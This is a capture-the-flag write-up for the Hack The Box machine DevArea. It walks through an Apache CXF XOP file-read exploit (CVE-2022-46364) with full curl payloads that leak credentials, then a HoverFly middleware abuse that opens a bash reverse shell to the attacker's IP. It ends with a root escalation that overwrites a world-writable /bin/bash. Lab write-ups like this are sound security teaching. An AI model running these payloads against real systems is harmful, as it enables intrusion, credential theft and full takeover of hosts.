Hackthebox: DevArea

Foued SAIDI Lv5

Overview

DevArea is a medium-difficulty linux machine from Hack The Box dealing initially with an anonymously accessible FTP server leaking a backend employee-service.jar. Decompiling that JAR reveals an Apache CXF SOAP service vulnerable to CVE-2022-46364, an MTOM/XOP xop:Include Local File Inclusion which we’ll abuse to read the HoverFly systemd service file and extract plaintext admin credentials. From there we’ll authenticate to the HoverFly Admin API, abuse its middleware feature (GHSA-r4h8-hfp2-ggmf) to land a reverse shell as dev_ryan. Finally, we’ll escalate to root by combining a passwordless sudo entry on syswatch.sh with a world-writable /bin/bash, replacing the interpreter to spawn a SUID rootbash.

DevArea-info-card
DevArea-info-card

Reconnaissance

The first step is to identify what services are running on the target machine. We run an nmap scan with default scripts (-sC), version detection (-sV), and scan all 65535 ports (-p-) to ensure we don’t miss anything running on non-standard ports.

We also add the hostname devarea.htb to our /etc/hosts file so that name-based virtual hosting works correctly when we interact with the web services.

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo "10.129.21.82 devarea.htb" | sudo tee -a /etc/hosts
10.129.21.82 devarea.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- 10.129.21.82
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 20:52 PDT
Nmap scan report for devarea.htb (10.129.21.82)
Host is up (0.39s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.178
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: DevArea - Connect with Top Development Talent
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open http Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 57.69 seconds

The scan reveals six open ports. The most interesting findings are:

  • Port 21 (FTP): Anonymous login is allowed, and there’s a pub directory visible – this is worth investigating for files left behind.
  • Port 80 (HTTP): A standard Apache web server hosting “DevArea - Connect with Top Development Talent”.
  • Port 8080 (Jetty): A Java-based Jetty web server, likely hosting a backend service or API.
  • Port 8500: A Go-based HTTP server that identifies itself as a proxy server – this turns out to be HoverFly Proxy.
  • Port 8888: Another Go-based HTTP server with the title “Hoverfly Dashboard” – this is the HoverFly Admin API and web dashboard.

FTP Enumeration

Since nmap already told us anonymous FTP login is allowed, we connect to the FTP server and browse the pub directory. Inside, we find a Java archive file called employee-service.jar which is likely the backend application running on port 8080.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ ftp 10.129.21.82
Connected to 10.129.21.82.
220 (vsFTPd 3.0.5)
Name (10.129.21.82:kali): anonymous
230 Login successful.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar
ftp> get employee-service.jar
226 Transfer complete.
6445030 bytes received
ftp> bye
221 Goodbye.

We now have a copy of the backend JAR file. This is a goldmine for understanding the application’s internals, endpoints, and potential vulnerabilities.

JAR Analysis

A JAR (Java Archive) file is essentially a ZIP archive containing compiled Java classes and resources. We extract it to examine the application’s source code by decompiling the .class files.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ mkdir jar_analysis && cd jar_analysis

┌──(kali㉿kali)-[~/jar_analysis]
└─$ jar xf ../employee-service.jar

┌──(kali㉿kali)-[~/jar_analysis]
└─$ find . -name "*.class" | grep -iE "(Employee|Report|Server)" | grep -v "org/" | grep -v "javax/"
./com/devarea/EmployeeService.class
./com/devarea/EmployeeServiceImpl.class
./com/devarea/Report.class
./com/devarea/ServerStarter.class

After decompiling these classes (using a tool like CFR or JD-GUI), we learn the following:

  • ServerStarter.class: The main class that starts a Jetty web server on port 8080 and publishes a SOAP web service using the Apache CXF framework at the endpoint /employeeservice.
  • EmployeeService.class: An interface defining the SOAP service contract.
  • EmployeeServiceImpl.class: The implementation class that exposes a submitReport method.
  • Report.class: A data class with fields: employeeName, department, content, and confidential.

We can also confirm the SOAP endpoint is live by fetching the WSDL (Web Services Description Language) descriptor:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/jar_analysis]
└─$ curl -s http://devarea.htb:8080/employeeservice?wsdl | head -20
<?xml version='1.0' encoding='UTF-8'?>
<wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:tns="http://devarea.htb/"
name="EmployeeServiceImplService"
targetNamespace="http://devarea.htb/">
...

The WSDL confirms the submitReport operation and the namespace http://devarea.htb/. The fact that this uses Apache CXF is critical – this framework has known vulnerabilities related to XOP/MTOM handling.

LFI via XOP/MTOM (CVE-2022-46364)

Apache CXF versions before 3.5.5 and 3.4.10 are vulnerable to CVE-2022-46364, a Server-Side Request Forgery (SSRF) / Local File Inclusion (LFI) vulnerability. The flaw exists in how Apache CXF processes MTOM (Message Transmission Optimization Mechanism) attachments with XOP (XML-binary Optimized Packaging) Include directives.

When a SOAP request uses multipart/related content type with an xop:Include element, the CXF framework fetches the URI specified in the href attribute. If a file:// URI is used, the server reads the local file and includes its contents (base64-encoded) in the SOAP response. This allows an attacker to read arbitrary files from the server’s filesystem.

The key injection point is replacing the value of a field (like employeeName) with an xop:Include tag pointing to a local file. The server processes it, reads the file, and reflects the base64-encoded content back in the response.

First, we verify the vulnerability works by reading /etc/hostname:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://10.129.21.82:8080/employeeservice" \
-H 'Content-Type: multipart/related; type="application/xop+xml"; start="<[email protected]>"; start-info="text/xml"; boundary="----=_Part_1"' \
-d $'------=_Part_1\r\nContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <[email protected]>\r\n\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <dev:submitReport>\r\n <arg0>\r\n <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/hostname"/></employeeName>\r\n <department>IT</department>\r\n <content>test</content>\r\n <confidential>false</confidential>\r\n </arg0>\r\n </dev:submitReport>\r\n </soapenv:Body>\r\n</soapenv:Envelope>\r\n------=_Part_1--'
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from ZGV2YXJlYQo=. Department: IT. Content: test</return></ns2:submitReportResponse></soap:Body></soap:Envelope>

The response contains ZGV2YXJlYQo= in the employeeName position. Let’s decode that base64 string:

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo "ZGV2YXJlYQo=" | base64 -d
devarea

The hostname is devarea – the LFI is confirmed working. Now we know the target has HoverFly services running on ports 8500 and 8888. HoverFly is an API simulation tool that runs as a system service. Systemd service files often contain configuration details including credentials passed as command-line arguments. Let’s read the HoverFly service file:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST "http://10.129.21.82:8080/employeeservice" \
-H 'Content-Type: multipart/related; type="application/xop+xml"; start="<[email protected]>"; start-info="text/xml"; boundary="----=_Part_1"' \
-d $'------=_Part_1\r\nContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <[email protected]>\r\n\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n <dev:submitReport>\r\n <arg0>\r\n <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/systemd/system/hoverfly.service"/></employeeName>\r\n <department>IT</department>\r\n <content>test</content>\r\n <confidential>false</confidential>\r\n </arg0>\r\n </dev:submitReport>\r\n </soapenv:Body>\r\n</soapenv:Envelope>\r\n------=_Part_1--'
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltTZXJ2aWNlXQpVc2VyPWRldl9yeWFuCkdyb3VwPWRldl9yeWFuCldvcmtpbmdEaXJlY3Rvcnk9L29wdC9Ib3ZlckZseQpFeGVjU3RhcnQ9L29wdC9Ib3ZlckZseS9ob3ZlcmZseSAtYWRkIC11c2VybmFtZSBhZG1pbiAtcGFzc3dvcmQgTzdJSjI3TXl5WGlVIC1saXN0ZW4tb24taG9zdCAwLjAuMC4wCgpSZXN0YXJ0PW9uLWZhaWx1cmUKUmVzdGFydFNlYz01ClN0YXJ0TGltaXRJbnRlcnZhbFNlYz02MApTdGFydExpbWl0QnVyc3Q9NQpMaW1pdE5PRklMRT02NTUzNgpTdGFuZGFyZE91dHB1dD1qb3VybmFsClN0YW5kYXJkRXJyb3I9am91cm5hbAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0Cg==. Department: IT. Content: test</return></ns2:submitReportResponse></soap:Body></soap:Envelope>

We extract the long base64 string from the response and decode it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ echo "W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltTZXJ2aWNlXQpVc2VyPWRldl9yeWFuCkdyb3VwPWRldl9yeWFuCldvcmtpbmdEaXJlY3Rvcnk9L29wdC9Ib3ZlckZseQpFeGVjU3RhcnQ9L29wdC9Ib3ZlckZseS9ob3ZlcmZseSAtYWRkIC11c2VybmFtZSBhZG1pbiAtcGFzc3dvcmQgTzdJSjI3TXl5WGlVIC1saXN0ZW4tb24taG9zdCAwLjAuMC4wCgpSZXN0YXJ0PW9uLWZhaWx1cmUKUmVzdGFydFNlYz01ClN0YXJ0TGltaXRJbnRlcnZhbFNlYz02MApTdGFydExpbWl0QnVyc3Q9NQpMaW1pdE5PRklMRT02NTUzNgpTdGFuZGFyZE91dHB1dD1qb3VybmFsClN0YW5kYXJkRXJyb3I9am91cm5hbAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0Cg==" | base64 -d
[Unit]
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

This is a huge find. The systemd service file reveals:

  • The HoverFly service runs as user dev_ryan – this is the user we’ll land as when we get a shell.
  • The admin credentials are passed in plaintext on the command line: admin:O7IJ27MyyXiU
  • HoverFly is listening on all interfaces (0.0.0.0), meaning we can reach both the proxy (port 8500) and the admin API (port 8888) from our attacker machine.

HoverFly Authentication

HoverFly’s Admin API at port 8888 requires authentication via JWT tokens. We use the credentials we extracted from the service file (admin:O7IJ27MyyXiU) to obtain a valid token by posting to the /api/token-auth endpoint.

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://devarea.htb:8888/api/token-auth \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODYxNDIwNTAsImlhdCI6MTc3NTEwMjA1MCwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.v2zBmBW2O10ELDwQW7gZ42fA_l02tdVz56tktzhLNpFJPfijjRxD6mYkM3a4DUk4jzIGR5o0IkfrxPzm2YZoGQ"}

We now have a valid JWT bearer token. This token will be used to authenticate all subsequent API requests to the HoverFly Admin API.

RCE via HoverFly Middleware (GHSA-r4h8-hfp2-ggmf)

HoverFly has a “middleware” feature that allows administrators to define an external script that processes every request/response pair passing through the proxy. The middleware is configured via the Admin API’s /api/v2/hoverfly/middleware endpoint, where you specify a binary (the interpreter) and a script (the code to execute).

This is documented in the security advisory GHSA-r4h8-hfp2-ggmf – any authenticated user can set arbitrary commands as middleware, effectively achieving Remote Code Execution on the server. When the middleware is set, HoverFly immediately validates it by running a test request through it, which means our script gets executed as soon as we send the PUT request – no additional trigger is needed.

First, we start a netcat listener on our attacker machine to catch the incoming reverse shell:

1
2
3
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...

In a second terminal, we store the JWT token in a variable and send the PUT request to set a bash reverse shell as the middleware script. The cat at the end of the script is important – HoverFly expects the middleware to read JSON from stdin and write JSON to stdout, so cat passes the test input through while the reverse shell runs in the background:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODYxNDIwNTAsImlhdCI6MTc3NTEwMjA1MCwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.v2zBmBW2O10ELDwQW7gZ42fA_l02tdVz56tktzhLNpFJPfijjRxD6mYkM3a4DUk4jzIGR5o0IkfrxPzm2YZoGQ"

┌──(kali㉿kali)-[~]
└─$ curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"binary":"/bin/bash","script":"#!/bin/bash\nbash -i >& /dev/tcp/10.10.16.178/4444 0>&1 &\ncat"}'
{"binary":"/bin/bash","script":"#!/bin/bash\nbash -i >\u0026 /dev/tcp/10.10.16.178/4444 0>\u00261 \u0026\ncat","remote":""}

HoverFly immediately validates the middleware by executing it, which triggers our reverse shell. Back on our netcat listener, we receive the connection:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.178] from (UNKNOWN) [10.129.21.82] 40160
bash: cannot set terminal process group (1454): Inappropriate ioctl for device
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$

We now have a shell as dev_ryan on the target machine.

User Flag

With our shell as dev_ryan, we read the user flag from the home directory:

1
2
dev_ryan@devarea:/opt/HoverFly$ cat /home/dev_ryan/user.txt
725b467bddf22df46562080911f1a853

Privilege Escalation - world-writable /bin/bash + sudo syswatch.sh

Now we need to escalate from dev_ryan to root. The first thing to check is what sudo privileges this user has:

1
2
3
4
5
6
dev_ryan@devarea:/opt/HoverFly$ sudo -l
Matching Defaults entries for dev_ryan on devarea:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart

This tells us that dev_ryan can run /opt/syswatch/syswatch.sh as root without a password. The ! entries block the web-stop and web-restart arguments, but any other argument (like --version) is allowed. Since syswatch.sh is a bash script, when it runs as root via sudo, the system will invoke /bin/bash as root to interpret it.

Next, we check the permissions on /bin/bash:

1
2
dev_ryan@devarea:/opt/HoverFly$ ls -la /bin/bash
-rwxrwxrwx 1 root root 1446024 Mar 31 2024 /bin/bash

This is the critical misconfiguration: /bin/bash is world-writable (-rwxrwxrwx). This means any user on the system can replace the bash binary with their own script. Since sudo /opt/syswatch/syswatch.sh will invoke /bin/bash as root to interpret the script, if we replace /bin/bash with a malicious script, that script will execute as root.

The exploitation plan:

  1. Back up the real /bin/bash to /tmp/bash.bak so we can use it as an interpreter and restore it later.
  2. Create an evil script (/tmp/evil_bash) that, when executed as root, copies the real bash to /tmp/rootbash and sets the SUID bit on it (allowing any user to run it with root privileges).
  3. Kill all running bash processes (to release the ETXTBSY lock on the binary, which prevents overwriting a file that’s currently being executed).
  4. Copy our evil script over /bin/bash.
  5. Run sudo /opt/syswatch/syswatch.sh --version – sudo will invoke the now-replaced /bin/bash as root, executing our evil script.
  6. Restore the original /bin/bash from our backup.

First, we back up the real bash binary:

1
dev_ryan@devarea:~$ cp /bin/bash /tmp/bash.bak

Then we create the malicious script. Note the shebang line uses /tmp/bash.bak as the interpreter (since we’ll be replacing /bin/bash with this script, it needs a different interpreter):

1
2
3
4
5
6
7
dev_ryan@devarea:~$ cat > /tmp/evil_bash << 'EVIL'
#!/tmp/bash.bak
cp /tmp/bash.bak /tmp/rootbash
chmod 4755 /tmp/rootbash
EVIL

dev_ryan@devarea:~$ chmod +x /tmp/evil_bash

Now we execute the entire attack chain using /bin/sh (not bash, since we’ll be killing bash processes). The killall -9 bash kills all running bash processes which releases the ETXTBSY file lock. After a short sleep to ensure the processes are dead, we copy our evil script over /bin/bash, then immediately run the sudo command which now executes our evil script as root:

1
dev_ryan@devarea:~$ /bin/sh -c 'killall -9 bash; sleep 2; cp /tmp/evil_bash /bin/bash; sudo /opt/syswatch/syswatch.sh --version; cp /tmp/bash.bak /bin/bash'

We verify that /tmp/rootbash was created with the SUID bit set and owned by root:

1
2
dev_ryan@devarea:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1446024 Apr 2 03:57 /tmp/rootbash

The s in -rwsr-xr-x confirms the SUID bit is set, and the file is owned by root. This means when any user executes /tmp/rootbash -p (the -p flag preserves the effective UID), they get a root shell:

1
2
3
4
5
dev_ryan@devarea:~$ /tmp/rootbash -p
rootbash-5.2# whoami
root
rootbash-5.2# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)

We now have an effective UID of 0 (root).

Root Flag

With our root shell, we read the root flag:

1
2
rootbash-5.2# cat /root/root.txt
dd1039c0343af7bdd73cf5c30c3aded9

And that was it for DevArea! A fun chain going from an anonymous FTP download all the way to a decompiled SOAP LFI, a middleware RCE and a world-writable /bin/bash privesc. Hope you liked this writeup!

-0xkujen

  • Title: Hackthebox: DevArea
  • Author: Foued SAIDI
  • Created at : 2026-07-05 12:00:00
  • Updated at : 2026-07-05 17:54:01
  • Link: https://kujen5.github.io/2026/07/05/Hackthebox-DevArea/
  • License: This work is licensed under CC BY-NC-SA 4.0.